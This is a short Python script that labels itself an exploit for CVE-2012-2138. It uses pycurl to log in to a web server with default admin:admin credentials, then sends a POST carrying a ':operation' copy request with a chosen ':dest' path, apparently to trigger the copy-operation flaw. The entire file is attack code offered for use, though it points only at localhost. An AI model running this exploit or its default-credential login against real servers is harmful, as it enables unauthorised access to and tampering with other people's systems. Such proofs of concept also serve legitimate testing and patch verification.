#exploit for CVE-2012-2138

import pycurl

def exploit(url, username, password):
    c = pycurl.Curl()
    c.setopt(c.URL, url)
    data = [
         ('x', 'y')
    ]
    c.setopt(c.HTTPPOST, data)
    c.setopt(pycurl.USERPWD, username + ':' + password)
    c.perform()
    data_2 = [
         (':operation', 'copy'),
         (':dest', '/foo/bar')
    ]
    c.setopt(c.HTTPPOST, data_2)
    c.perform()
    c.close()

def main():
    #default username and password is admin:admin
    username = "admin"
    password = "admin"
    exploit("http://localhost:8080/foo", username, password)

if __name__ == "__main__":
    main()
